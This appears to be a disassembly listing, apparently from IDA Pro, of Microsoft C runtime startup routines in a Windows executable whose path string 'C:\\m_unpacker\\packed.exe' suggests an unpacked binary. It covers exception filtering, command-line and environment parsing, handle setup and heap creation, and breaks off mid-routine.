U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4152A2 proc near ; CODE XREF: sub_4103C5+Ep ; .vty:004104A9p ... ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 push 8 push offset dword_41FB18 call __SEH_prolog4 and [ebp+ms_exc.disabled], 0 mov edx, 400000h push edx call sub_415230 pop ecx test eax, eax jz short loc_4152FF mov eax, [ebp+arg_0] sub eax, edx push eax push edx call sub_415260 pop ecx pop ecx test eax, eax jz short loc_4152FF mov eax, [eax+24h] shr eax, 1Fh not eax and eax, 1 mov [ebp+ms_exc.disabled], 0FFFFFFFEh jmp short loc_415308 ; --------------------------------------------------------------------------- mov eax, [ebp+ms_exc.exc_ptr] mov eax, [eax] mov eax, [eax] xor ecx, ecx cmp eax, 0C0000005h setz cl mov eax, ecx retn ; --------------------------------------------------------------------------- mov esp, [ebp+ms_exc.old_esp] loc_4152FF: ; CODE XREF: sub_4152A2+1Ej ; sub_4152A2+30j mov [ebp+ms_exc.disabled], 0FFFFFFFEh xor eax, eax loc_415308: ; CODE XREF: sub_4152A2+44j call __SEH_epilog4 retn sub_4152A2 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41530F proc near ; CODE XREF: sub_4103C5+66p ; .vty:0041076Bp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push esi call sub_411F7A mov esi, eax test esi, esi jnz short loc_41532E push [ebp+arg_4] call dword_41C10C ; UnhandledExceptionFilter jmp loc_41547B ; --------------------------------------------------------------------------- loc_41532E: ; CODE XREF: sub_41530F+Fj mov edx, [esi+5Ch] mov eax, dword_423C64 push edi mov edi, [ebp+arg_0] mov ecx, edx push ebx loc_41533D: ; CODE XREF: sub_41530F+3Ej cmp [ecx], edi jz short loc_41534F mov ebx, eax imul ebx, 0Ch add ecx, 0Ch add ebx, edx cmp ecx, ebx jb short loc_41533D loc_41534F: ; CODE XREF: sub_41530F+30j imul eax, 0Ch add eax, edx cmp ecx, eax jnb short loc_415360 cmp [ecx], edi jnz short loc_415360 mov eax, ecx jmp short loc_415362 ; --------------------------------------------------------------------------- loc_415360: ; CODE XREF: sub_41530F+47j ; sub_41530F+4Bj xor eax, eax loc_415362: ; CODE XREF: sub_41530F+4Fj test eax, eax jz short loc_415370 mov ebx, [eax+8] test ebx, ebx mov [ebp+var_4], ebx jnz short loc_41537E loc_415370: ; CODE XREF: sub_41530F+55j push [ebp+arg_4] call dword_41C10C ; UnhandledExceptionFilter jmp loc_415479 ; --------------------------------------------------------------------------- loc_41537E: ; CODE XREF: sub_41530F+5Fj cmp ebx, 5 jnz short loc_41538F and dword ptr [eax+8], 0 xor eax, eax inc eax jmp loc_415479 ; --------------------------------------------------------------------------- loc_41538F: ; CODE XREF: sub_41530F+72j cmp ebx, 1 jz loc_415476 mov ecx, [esi+60h] mov [ebp+var_8], ecx mov ecx, [ebp+arg_4] mov [esi+60h], ecx mov ecx, [eax+4] cmp ecx, 8 jnz loc_415468 mov ecx, dword_423C58 mov edi, dword_423C5C mov edx, ecx add edi, ecx cmp edx, edi jge short loc_4153E8 imul ecx, 0Ch loc_4153C7: ; CODE XREF: sub_41530F+D4j mov edi, [esi+5Ch] and dword ptr [ecx+edi+8], 0 mov edi, dword_423C58 mov ebx, dword_423C5C inc edx add ebx, edi add ecx, 0Ch cmp edx, ebx jl short loc_4153C7 mov ebx, [ebp+var_4] loc_4153E8: ; CODE XREF: sub_41530F+B3j mov eax, [eax] cmp eax, 0C000008Eh mov edi, [esi+64h] jnz short loc_4153FD mov dword ptr [esi+64h], 83h jmp short loc_41545B ; --------------------------------------------------------------------------- loc_4153FD: ; CODE XREF: sub_41530F+E3j cmp eax, 0C0000090h jnz short loc_41540D mov dword ptr [esi+64h], 81h jmp short loc_41545B ; --------------------------------------------------------------------------- loc_41540D: ; CODE XREF: sub_41530F+F3j cmp eax, 0C0000091h jnz short loc_41541D mov dword ptr [esi+64h], 84h jmp short loc_41545B ; --------------------------------------------------------------------------- loc_41541D: ; CODE XREF: sub_41530F+103j cmp eax, 0C0000093h jnz short loc_41542D mov dword ptr [esi+64h], 85h jmp short loc_41545B ; --------------------------------------------------------------------------- loc_41542D: ; CODE XREF: sub_41530F+113j cmp eax, 0C000008Dh jnz short loc_41543D mov dword ptr [esi+64h], 82h jmp short loc_41545B ; --------------------------------------------------------------------------- loc_41543D: ; CODE XREF: sub_41530F+123j cmp eax, 0C000008Fh jnz short loc_41544D mov dword ptr [esi+64h], 86h jmp short loc_41545B ; --------------------------------------------------------------------------- loc_41544D: ; CODE XREF: sub_41530F+133j cmp eax, 0C0000092h jnz short loc_41545B mov dword ptr [esi+64h], 8Ah loc_41545B: ; CODE XREF: sub_41530F+ECj ; sub_41530F+FCj ... push dword ptr [esi+64h] push 8 call ebx pop ecx mov [esi+64h], edi jmp short loc_41546F ; --------------------------------------------------------------------------- loc_415468: ; CODE XREF: sub_41530F+9Bj and dword ptr [eax+8], 0 push ecx call ebx loc_41546F: ; CODE XREF: sub_41530F+157j mov eax, [ebp+var_8] pop ecx mov [esi+60h], eax loc_415476: ; CODE XREF: sub_41530F+83j or eax, 0FFFFFFFFh loc_415479: ; CODE XREF: sub_41530F+6Aj ; sub_41530F+7Bj pop ebx pop edi loc_41547B: ; CODE XREF: sub_41530F+1Aj pop esi leave retn sub_41530F endp ; =============== S U B R O U T I N E ======================================= sub_41547E proc near ; CODE XREF: sub_4107B2:loc_410728p push esi push edi xor edi, edi cmp dword_42601C, edi jnz short loc_41548F call sub_413264 loc_41548F: ; CODE XREF: sub_41547E+Aj mov esi, dword_426028 test esi, esi jnz short loc_41549E mov esi, offset dword_41E020 loc_41549E: ; CODE XREF: sub_41547E+19j ; sub_41547E+4Bj mov al, [esi] cmp al, 20h ja short loc_4154AC test al, al jz short loc_4154D6 test edi, edi jz short loc_4154D0 loc_4154AC: ; CODE XREF: sub_41547E+24j cmp al, 22h jnz short loc_4154B9 xor ecx, ecx test edi, edi setz cl mov edi, ecx loc_4154B9: ; CODE XREF: sub_41547E+30j movzx eax, al push eax call sub_41A245 test eax, eax pop ecx jz short loc_4154C8 inc esi loc_4154C8: ; CODE XREF: sub_41547E+47j inc esi jmp short loc_41549E ; --------------------------------------------------------------------------- loc_4154CB: ; CODE XREF: sub_41547E+56j cmp al, 20h ja short loc_4154D6 inc esi loc_4154D0: ; CODE XREF: sub_41547E+2Cj mov al, [esi] test al, al jnz short loc_4154CB loc_4154D6: ; CODE XREF: sub_41547E+28j ; sub_41547E+4Fj pop edi mov eax, esi pop esi retn sub_41547E endp ; =============== S U B R O U T I N E ======================================= sub_4154DB proc near ; CODE XREF: sub_4107B2:loc_410705p push ebx xor ebx, ebx cmp dword_42601C, ebx push esi push edi jnz short loc_4154ED call sub_413264 loc_4154ED: ; CODE XREF: sub_4154DB+Bj mov esi, dword_424394 xor edi, edi cmp esi, ebx jnz short loc_415511 loc_4154F9: ; CODE XREF: sub_4154DB+51j or eax, 0FFFFFFFFh jmp loc_41559C ; --------------------------------------------------------------------------- loc_415501: ; CODE XREF: sub_4154DB+3Aj cmp al, 3Dh jz short loc_415506 inc edi loc_415506: ; CODE XREF: sub_4154DB+28j push esi call sub_40D970 pop ecx lea esi, [esi+eax+1] loc_415511: ; CODE XREF: sub_4154DB+1Cj mov al, [esi] cmp al, bl jnz short loc_415501 push 4 inc edi push edi call sub_412363 mov edi, eax cmp edi, ebx pop ecx pop ecx mov dword_4243D8, edi jz short loc_4154F9 mov esi, dword_424394 push ebp jmp short loc_415577 ; --------------------------------------------------------------------------- loc_415537: ; CODE XREF: sub_4154DB+9Ej push esi call sub_40D970 mov ebp, eax inc ebp cmp byte ptr [esi], 3Dh pop ecx jz short loc_415575 push 1 push ebp call sub_412363 cmp eax, ebx pop ecx pop ecx mov [edi], eax jz short loc_4155A0 push esi push ebp push eax call sub_410FB5 add esp, 0Ch test eax, eax jz short loc_415572 push ebx push ebx push ebx push ebx push ebx call sub_40DBDC add esp, 14h loc_415572: ; CODE XREF: sub_4154DB+88j add edi, 4 loc_415575: ; CODE XREF: sub_4154DB+69j add esi, ebp loc_415577: ; CODE XREF: sub_4154DB+5Aj cmp [esi], bl jnz short loc_415537 push dword_424394 call sub_41112C mov dword_424394, ebx mov [edi], ebx mov dword_426010, 1 xor eax, eax loc_41559A: ; CODE XREF: sub_4154DB+D9j pop ecx pop ebp loc_41559C: ; CODE XREF: sub_4154DB+21j pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_4155A0: ; CODE XREF: sub_4154DB+79j push dword_4243D8 call sub_41112C mov dword_4243D8, ebx or eax, 0FFFFFFFFh jmp short loc_41559A sub_4154DB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4155B6 proc near ; CODE XREF: sub_41574E+55p ; sub_41574E+96p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx mov ecx, [ebp+arg_8] push ebx xor eax, eax cmp [ebp+arg_0], eax push esi mov [edi], eax mov esi, edx mov edx, [ebp+arg_4] mov dword ptr [ecx], 1 jz short loc_4155DC mov ebx, [ebp+arg_0] add [ebp+arg_0], 4 mov [ebx], edx loc_4155DC: ; CODE XREF: sub_4155B6+1Bj mov [ebp+var_4], eax loc_4155DF: ; CODE XREF: sub_4155B6+7Ej ; sub_4155B6+88j cmp byte ptr [esi], 22h jnz short loc_4155F4 xor eax, eax cmp [ebp+var_4], eax mov bl, 22h setz al inc esi mov [ebp+var_4], eax jmp short loc_415630 ; --------------------------------------------------------------------------- loc_4155F4: ; CODE XREF: sub_4155B6+2Cj inc dword ptr [edi] test edx, edx jz short loc_415602 mov al, [esi] mov [edx], al inc edx mov [ebp+arg_4], edx loc_415602: ; CODE XREF: sub_4155B6+42j mov bl, [esi] movzx eax, bl push eax inc esi call sub_41A245 test eax, eax pop ecx jz short loc_415626 inc dword ptr [edi] cmp [ebp+arg_4], 0 jz short loc_415625 mov ecx, [ebp+arg_4] mov al, [esi] inc [ebp+arg_4] mov [ecx], al loc_415625: ; CODE XREF: sub_4155B6+63j inc esi loc_415626: ; CODE XREF: sub_4155B6+5Bj test bl, bl mov edx, [ebp+arg_4] mov ecx, [ebp+arg_8] jz short loc_415662 loc_415630: ; CODE XREF: sub_4155B6+3Cj cmp [ebp+var_4], 0 jnz short loc_4155DF cmp bl, 20h jz short loc_415640 cmp bl, 9 jnz short loc_4155DF loc_415640: ; CODE XREF: sub_4155B6+83j test edx, edx jz short loc_415648 mov byte ptr [edx-1], 0 loc_415648: ; CODE XREF: sub_4155B6+8Cj ; sub_4155B6+ADj and [ebp+var_4], 0 loc_41564C: ; CODE XREF: sub_4155B6+183j cmp byte ptr [esi], 0 jz loc_41573E loc_415655: ; CODE XREF: sub_4155B6+AAj mov al, [esi] cmp al, 20h jz short loc_41565F cmp al, 9 jnz short loc_415665 loc_41565F: ; CODE XREF: sub_4155B6+A3j inc esi jmp short loc_415655 ; --------------------------------------------------------------------------- loc_415662: ; CODE XREF: sub_4155B6+78j dec esi jmp short loc_415648 ; --------------------------------------------------------------------------- loc_415665: ; CODE XREF: sub_4155B6+A7j cmp byte ptr [esi], 0 jz loc_41573E cmp [ebp+arg_0], 0 jz short loc_41567D mov eax, [ebp+arg_0] add [ebp+arg_0], 4 mov [eax], edx loc_41567D: ; CODE XREF: sub_4155B6+BCj inc dword ptr [ecx] loc_41567F: ; CODE XREF: sub_4155B6+16Ej xor ebx, ebx inc ebx xor ecx, ecx jmp short loc_415688 ; --------------------------------------------------------------------------- loc_415686: ; CODE XREF: sub_4155B6+D5j inc esi inc ecx loc_415688: ; CODE XREF: sub_4155B6+CEj cmp byte ptr [esi], 5Ch jz short loc_415686 cmp byte ptr [esi], 22h jnz short loc_4156B8 test cl, 1 jnz short loc_4156B6 cmp [ebp+var_4], 0 jz short loc_4156A9 lea eax, [esi+1] cmp byte ptr [eax], 22h jnz short loc_4156A9 mov esi, eax jmp short loc_4156B6 ; --------------------------------------------------------------------------- loc_4156A9: ; CODE XREF: sub_4155B6+E5j ; sub_4155B6+EDj xor eax, eax xor ebx, ebx cmp [ebp+var_4], eax setz al mov [ebp+var_4], eax loc_4156B6: ; CODE XREF: sub_4155B6+DFj ; sub_4155B6+F1j shr ecx, 1 loc_4156B8: ; CODE XREF: sub_4155B6+DAj test ecx, ecx jz short loc_4156CE loc_4156BC: ; CODE XREF: sub_4155B6+113j dec ecx test edx, edx jz short loc_4156C5 mov byte ptr [edx], 5Ch inc edx loc_4156C5: ; CODE XREF: sub_4155B6+109j inc dword ptr [edi] test ecx, ecx jnz short loc_4156BC mov [ebp+arg_4], edx loc_4156CE: ; CODE XREF: sub_4155B6+104j mov al, [esi] test al, al jz short loc_415729 cmp [ebp+var_4], 0 jnz short loc_4156E2 cmp al, 20h jz short loc_415729 cmp al, 9 jz short loc_415729 loc_4156E2: ; CODE XREF: sub_4155B6+122j test ebx, ebx jz short loc_415723 test edx, edx movsx eax, al push eax jz short loc_415711 call sub_41A245 test eax, eax pop ecx jz short loc_415705 mov al, [esi] mov ecx, [ebp+arg_4] inc [ebp+arg_4] mov [ecx], al inc esi inc dword ptr [edi] loc_415705: ; CODE XREF: sub_4155B6+140j mov ecx, [ebp+arg_4] mov al, [esi] inc [ebp+arg_4] mov [ecx], al jmp short loc_41571E ; --------------------------------------------------------------------------- loc_415711: ; CODE XREF: sub_4155B6+136j call sub_41A245 test eax, eax pop ecx jz short loc_41571E inc esi inc dword ptr [edi] loc_41571E: ; CODE XREF: sub_4155B6+159j ; sub_4155B6+163j inc dword ptr [edi] mov edx, [ebp+arg_4] loc_415723: ; CODE XREF: sub_4155B6+12Ej inc esi jmp loc_41567F ; --------------------------------------------------------------------------- loc_415729: ; CODE XREF: sub_4155B6+11Cj ; sub_4155B6+126j ... test edx, edx jz short loc_415734 mov byte ptr [edx], 0 inc edx mov [ebp+arg_4], edx loc_415734: ; CODE XREF: sub_4155B6+175j inc dword ptr [edi] mov ecx, [ebp+arg_8] jmp loc_41564C ; --------------------------------------------------------------------------- loc_41573E: ; CODE XREF: sub_4155B6+99j ; sub_4155B6+B2j mov eax, [ebp+arg_0] test eax, eax pop esi pop ebx jz short loc_41574A and dword ptr [eax], 0 loc_41574A: ; CODE XREF: sub_4155B6+18Fj inc dword ptr [ecx] leave retn sub_4155B6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41574E proc near ; CODE XREF: sub_4107B2-BEp var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 0Ch push ebx xor ebx, ebx cmp dword_42601C, ebx push esi push edi jnz short loc_415766 call sub_413264 loc_415766: ; CODE XREF: sub_41574E+11j push 104h mov esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe" push esi push ebx mov byte_424874, bl call dword_41C0C0 ; GetModuleFileNameA mov eax, dword_426028 cmp eax, ebx mov off_4243E8, esi jz short loc_415794 cmp [eax], bl mov [ebp+var_4], eax jnz short loc_415797 loc_415794: ; CODE XREF: sub_41574E+3Dj mov [ebp+var_4], esi loc_415797: ; CODE XREF: sub_41574E+44j mov edx, [ebp+var_4] lea eax, [ebp+var_8] push eax push ebx push ebx lea edi, [ebp+var_C] call sub_4155B6 mov eax, [ebp+var_8] add esp, 0Ch cmp eax, 3FFFFFFFh jnb short loc_4157FF mov ecx, [ebp+var_C] cmp ecx, 0FFFFFFFFh jnb short loc_4157FF mov edi, eax shl edi, 2 lea eax, [edi+ecx] cmp eax, ecx jb short loc_4157FF push eax call sub_412323 mov esi, eax cmp esi, ebx pop ecx jz short loc_4157FF mov edx, [ebp+var_4] lea eax, [ebp+var_8] push eax add edi, esi push edi push esi lea edi, [ebp+var_C] call sub_4155B6 mov eax, [ebp+var_8] add esp, 0Ch dec eax mov dword_4243CC, eax mov dword_4243D0, esi xor eax, eax jmp short loc_415802 ; --------------------------------------------------------------------------- loc_4157FF: ; CODE XREF: sub_41574E+65j ; sub_41574E+6Dj ... or eax, 0FFFFFFFFh loc_415802: ; CODE XREF: sub_41574E+AFj pop edi pop esi pop ebx leave retn sub_41574E endp ; =============== S U B R O U T I N E ======================================= sub_415807 proc near ; CODE XREF: sub_4107B2-C8p var_8 = dword ptr -8 var_4 = dword ptr -4 push ecx push ecx mov eax, dword_424878 push ebx push ebp push esi push edi mov edi, dword_41C198 xor ebx, ebx xor esi, esi cmp eax, ebx push 2 pop ebp jnz short loc_415850 call edi ; GetEnvironmentStringsW mov esi, eax cmp esi, ebx jz short loc_415837 mov dword_424878, 1 jmp short loc_415859 ; --------------------------------------------------------------------------- loc_415837: ; CODE XREF: sub_415807+22j call dword_41C0A4 ; RtlGetLastWin32Error cmp eax, 78h jnz short loc_41584B mov eax, ebp mov dword_424878, eax jmp short loc_415850 ; --------------------------------------------------------------------------- loc_41584B: ; CODE XREF: sub_415807+39j mov eax, dword_424878 loc_415850: ; CODE XREF: sub_415807+1Aj ; sub_415807+42j cmp eax, 1 jnz loc_4158DD loc_415859: ; CODE XREF: sub_415807+2Ej cmp esi, ebx jnz short loc_41586C call edi ; GetEnvironmentStringsW mov esi, eax cmp esi, ebx jnz short loc_41586C loc_415865: ; CODE XREF: sub_415807+DCj ; sub_415807+E8j ... xor eax, eax jmp loc_415935 ; --------------------------------------------------------------------------- loc_41586C: ; CODE XREF: sub_415807+54j ; sub_415807+5Cj cmp [esi], bx mov eax, esi jz short loc_415881 loc_415873: ; CODE XREF: sub_415807+71j ; sub_415807+78j add eax, ebp cmp [eax], bx jnz short loc_415873 add eax, ebp cmp [eax], bx jnz short loc_415873 loc_415881: ; CODE XREF: sub_415807+6Aj mov edi, dword_41C170 push ebx push ebx push ebx sub eax, esi push ebx sar eax, 1 inc eax push eax push esi push ebx push ebx mov [esp+38h+var_4], eax call edi ; WideCharToMultiByte mov ebp, eax cmp ebp, ebx jz short loc_4158D2 push ebp call sub_412323 cmp eax, ebx pop ecx mov [esp+18h+var_8], eax jz short loc_4158D2 push ebx push ebx push ebp push eax push [esp+28h+var_4] push esi push ebx push ebx call edi ; WideCharToMultiByte test eax, eax jnz short loc_4158CE push [esp+18h+var_8] call sub_41112C pop ecx mov [esp+18h+var_8], ebx loc_4158CE: ; CODE XREF: sub_415807+B7j mov ebx, [esp+18h+var_8] loc_4158D2: ; CODE XREF: sub_415807+97j ; sub_415807+A6j push esi call dword_41C194 ; FreeEnvironmentStringsW mov eax, ebx jmp short loc_415935 ; --------------------------------------------------------------------------- loc_4158DD: ; CODE XREF: sub_415807+4Cj cmp eax, ebp jz short loc_4158E5 cmp eax, ebx jnz short loc_415865 loc_4158E5: ; CODE XREF: sub_415807+D8j call dword_41C190 ; GetEnvironmentStringsA mov esi, eax cmp esi, ebx jz loc_415865 cmp [esi], bl jz short loc_415903 loc_4158F9: ; CODE XREF: sub_415807+F5j ; sub_415807+FAj inc eax cmp [eax], bl jnz short loc_4158F9 inc eax cmp [eax], bl jnz short loc_4158F9 loc_415903: ; CODE XREF: sub_415807+F0j sub eax, esi inc eax mov ebp, eax push ebp call sub_412323 mov edi, eax cmp edi, ebx pop ecx jnz short loc_415921 push esi call dword_41C18C ; FreeEnvironmentStringsA jmp loc_415865 ; --------------------------------------------------------------------------- loc_415921: ; CODE XREF: sub_415807+10Cj push ebp push esi push edi call sub_410050 add esp, 0Ch push esi call dword_41C18C ; FreeEnvironmentStringsA mov eax, edi loc_415935: ; CODE XREF: sub_415807+60j ; sub_415807+D4j pop edi pop esi pop ebp pop ebx pop ecx pop ecx retn sub_415807 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41593C proc near ; CODE XREF: sub_4107B2-E4p var_64 = byte ptr -64h var_32 = word ptr -32h var_30 = dword ptr -30h var_20 = dword ptr -20h var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h push 54h push offset dword_41FB38 call __SEH_prolog4 xor edi, edi mov [ebp+ms_exc.disabled], edi lea eax, [ebp+var_64] push eax call dword_41C0A0 ; GetStartupInfoA mov [ebp+ms_exc.disabled], 0FFFFFFFEh push 28h push 20h pop esi push esi call sub_412363 pop ecx pop ecx cmp eax, edi jz loc_415B73 mov dword_424EE0, eax mov dword_424EC8, esi lea ecx, [eax+500h] jmp short loc_4159AF ; --------------------------------------------------------------------------- loc_415986: ; CODE XREF: sub_41593C+75j mov byte ptr [eax+4], 0 or dword ptr [eax], 0FFFFFFFFh mov byte ptr [eax+5], 0Ah mov [eax+8], edi mov byte ptr [eax+24h], 0 mov byte ptr [eax+25h], 0Ah mov byte ptr [eax+26h], 0Ah add eax, 28h mov ecx, dword_424EE0 add ecx, 500h loc_4159AF: ; CODE XREF: sub_41593C+48j cmp eax, ecx jb short loc_415986 cmp [ebp+var_32], di jz loc_415ABA mov eax, [ebp+var_30] cmp eax, edi jz loc_415ABA mov edi, [eax] lea ebx, [eax+4] lea eax, [ebx+edi] mov [ebp+var_1C], eax mov eax, 800h cmp edi, eax jl short loc_4159DE mov edi, eax loc_4159DE: ; CODE XREF: sub_41593C+9Ej xor esi, esi inc esi jmp short loc_415A35 ; --------------------------------------------------------------------------- loc_4159E3: ; CODE XREF: sub_41593C+FFj push 28h push 20h call sub_412363 pop ecx pop ecx test eax, eax jz short loc_415A3F lea ecx, ds:424EE0h[esi*4] mov [ecx], eax add dword_424EC8, 20h lea edx, [eax+500h] jmp short loc_415A30 ; --------------------------------------------------------------------------- loc_415A0A: ; CODE XREF: sub_41593C+F6j mov byte ptr [eax+4], 0 or dword ptr [eax], 0FFFFFFFFh mov byte ptr [eax+5], 0Ah and dword ptr [eax+8], 0 and byte ptr [eax+24h], 80h mov byte ptr [eax+25h], 0Ah mov byte ptr [eax+26h], 0Ah add eax, 28h mov edx, [ecx] add edx, 500h loc_415A30: ; CODE XREF: sub_41593C+CCj cmp eax, edx jb short loc_415A0A inc esi loc_415A35: ; CODE XREF: sub_41593C+A5j cmp dword_424EC8, edi jl short loc_4159E3 jmp short loc_415A45 ; --------------------------------------------------------------------------- loc_415A3F: ; CODE XREF: sub_41593C+B4j mov edi, dword_424EC8 loc_415A45: ; CODE XREF: sub_41593C+101j and [ebp+var_20], 0 test edi, edi jle short loc_415ABA loc_415A4D: ; CODE XREF: sub_41593C+17Cj mov eax, [ebp+var_1C] mov ecx, [eax] cmp ecx, 0FFFFFFFFh jz short loc_415AAD cmp ecx, 0FFFFFFFEh jz short loc_415AAD mov al, [ebx] test al, 1 jz short loc_415AAD test al, 8 jnz short loc_415A71 push ecx call dword_41C1A0 ; GetFileType test eax, eax jz short loc_415AAD loc_415A71: ; CODE XREF: sub_41593C+128j mov esi, [ebp+var_20] mov eax, esi sar eax, 5 and esi, 1Fh imul esi, 28h add esi, dword_424EE0[eax*4] mov eax, [ebp+var_1C] mov eax, [eax] mov [esi], eax mov al, [ebx] mov [esi+4], al push 0FA0h lea eax, [esi+0Ch] push eax call sub_4182CC pop ecx pop ecx test eax, eax jz loc_415B73 inc dword ptr [esi+8] loc_415AAD: ; CODE XREF: sub_41593C+119j ; sub_41593C+11Ej ... inc [ebp+var_20] inc ebx add [ebp+var_1C], 4 cmp [ebp+var_20], edi jl short loc_415A4D loc_415ABA: ; CODE XREF: sub_41593C+7Bj ; sub_41593C+86j ... xor ebx, ebx loc_415ABC: ; CODE XREF: sub_41593C+213j mov esi, ebx imul esi, 28h add esi, dword_424EE0 mov eax, [esi] cmp eax, 0FFFFFFFFh jz short loc_415AD9 cmp eax, 0FFFFFFFEh jz short loc_415AD9 or byte ptr [esi+4], 80h jmp short loc_415B4B ; --------------------------------------------------------------------------- loc_415AD9: ; CODE XREF: sub_41593C+190j ; sub_41593C+195j mov byte ptr [esi+4], 81h test ebx, ebx jnz short loc_415AE6 push 0FFFFFFF6h pop eax jmp short loc_415AF0 ; --------------------------------------------------------------------------- loc_415AE6: ; CODE XREF: sub_41593C+1A3j mov eax, ebx dec eax neg eax sbb eax, eax add eax, 0FFFFFFF5h loc_415AF0: ; CODE XREF: sub_41593C+1A8j push eax call dword_41C180 ; GetStdHandle mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_415B41 test edi, edi jz short loc_415B41 push edi call dword_41C1A0 ; GetFileType test eax, eax jz short loc_415B41 mov [esi], edi and eax, 0FFh cmp eax, 2 jnz short loc_415B1F or byte ptr [esi+4], 40h jmp short loc_415B28 ; --------------------------------------------------------------------------- loc_415B1F: ; CODE XREF: sub_41593C+1DBj cmp eax, 3 jnz short loc_415B28 or byte ptr [esi+4], 8 loc_415B28: ; CODE XREF: sub_41593C+1E1j ; sub_41593C+1E6j push 0FA0h lea eax, [esi+0Ch] push eax call sub_4182CC pop ecx pop ecx test eax, eax jz short loc_415B73 inc dword ptr [esi+8] jmp short loc_415B4B ; --------------------------------------------------------------------------- loc_415B41: ; CODE XREF: sub_41593C+1C0j ; sub_41593C+1C4j ... or byte ptr [esi+4], 40h mov dword ptr [esi], 0FFFFFFFEh loc_415B4B: ; CODE XREF: sub_41593C+19Bj ; sub_41593C+203j inc ebx cmp ebx, 3 jl loc_415ABC push dword_424EC8 call dword_41C19C ; SetHandleCount xor eax, eax jmp short loc_415B76 ; --------------------------------------------------------------------------- xor eax, eax inc eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+ms_exc.old_esp] mov [ebp+ms_exc.disabled], 0FFFFFFFEh loc_415B73: ; CODE XREF: sub_41593C+31j ; sub_41593C+168j ... or eax, 0FFFFFFFFh loc_415B76: ; CODE XREF: sub_41593C+227j call __SEH_epilog4 retn sub_41593C endp ; =============== S U B R O U T I N E ======================================= sub_415B7C proc near ; CODE XREF: sub_4107B2:loc_4106C6p push esi push edi mov eax, offset dword_41F840 mov edi, offset dword_41F840 cmp eax, edi mov esi, eax jnb short loc_415B9D loc_415B8E: ; CODE XREF: sub_415B7C+1Fj mov eax, [esi] test eax, eax jz short loc_415B96 call eax loc_415B96: ; CODE XREF: sub_415B7C+16j add esi, 4 cmp esi, edi jb short loc_415B8E loc_415B9D: ; CODE XREF: sub_415B7C+10j pop edi pop esi retn sub_415B7C endp ; =============== S U B R O U T I N E ======================================= sub_415BA0 proc near ; DATA XREF: sub_4125B5+3Fo push esi push edi mov eax, offset dword_41F848 mov edi, offset dword_41F848 cmp eax, edi mov esi, eax jnb short loc_415BC1 loc_415BB2: ; CODE XREF: sub_415BA0+1Fj mov eax, [esi] test eax, eax jz short loc_415BBA call eax loc_415BBA: ; CODE XREF: sub_415BA0+16j add esi, 4 cmp esi, edi jb short loc_415BB2 loc_415BC1: ; CODE XREF: sub_415BA0+10j pop edi pop esi retn sub_415BA0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415BC4 proc near ; CODE XREF: sub_415C1F:loc_415C42p var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push esi lea eax, [ebp+var_4] xor esi, esi push eax mov [ebp+var_4], esi mov [ebp+var_8], esi call sub_412542 test eax, eax pop ecx jz short loc_415BED push esi push esi push esi push esi push esi call sub_40DBDC add esp, 14h loc_415BED: ; CODE XREF: sub_415BC4+1Aj lea eax, [ebp+var_8] push eax call sub_412579 test eax, eax pop ecx jz short loc_415C08 push esi push esi push esi push esi push esi call sub_40DBDC add esp, 14h loc_415C08: ; CODE XREF: sub_415BC4+35j cmp [ebp+var_4], 2 pop esi jnz short loc_415C1A cmp [ebp+var_8], 5 jb short loc_415C1A xor eax, eax inc eax leave retn ; --------------------------------------------------------------------------- loc_415C1A: ; CODE XREF: sub_415BC4+49j ; sub_415BC4+4Fj push 3 pop eax leave retn sub_415BC4 endp ; =============== S U B R O U T I N E ======================================= sub_415C1F proc near ; CODE XREF: sub_4107B2-10Fp arg_0 = dword ptr 4 xor eax, eax cmp [esp+arg_0], eax push 0 setz al push 1000h push eax call dword_41C1A8 ; HeapCreate test eax, eax mov dword_42487C, eax jnz short loc_415C42 loc_415C3F: ; CODE XREF: sub_415C1F+54j xor eax, eax retn ; --------------------------------------------------------------------------- loc_415C42: ; CODE XREF: sub_415C1F+1Ej call sub_415BC4 cmp eax, 3 mov dword_424EC4, eax jnz short loc_415C75 push 3F8h call sub_416DD7 test eax, eax pop ecx jnz short loc_415C75 push dword_42487C call dword_41C1A4 ; HeapDestroy and dword_42487C, 0 jmp short loc_415C3F ; --------------------------------------------------------------------------- loc_415C75: ; CODE XREF: sub_415C1F+30j ; sub_415C1F+3Fj xor eax, eax inc eax retn sub_415C1F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415C79 proc near ; CODE XREF: sub_4107B2p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 10h mov eax, dword_4231C4 and [ebp+var_8], 0 and [ebp+var_4], 0 push ebx push edi mov edi, 0BB40E64Eh cmp eax, edi mov ebx, 0FFFF0000h jz short loc_415CA9 test eax, ebx jz short loc_415CA9 not eax mov dword_4231C8, eax jmp short loc_415D09 ; --------------------------------------------------------------------------- loc_415CA9: ; CODE XREF: sub_415C79+21j ; sub_415C79+25j push esi lea eax, [ebp+var_8] push eax call dword_41C118 ; GetSystemTimeAsFileTime mov esi, [ebp+var_4] xor esi, [ebp+var_8] call dword_41C0E8 ; GetCurrentProcessId xor esi, eax call dword_41C120 ; GetCurrentThreadId xor esi, eax call dword_41C058 ; GetTickCount xor esi, eax lea eax, [ebp+var_10] push eax call dword_41C0EC ; 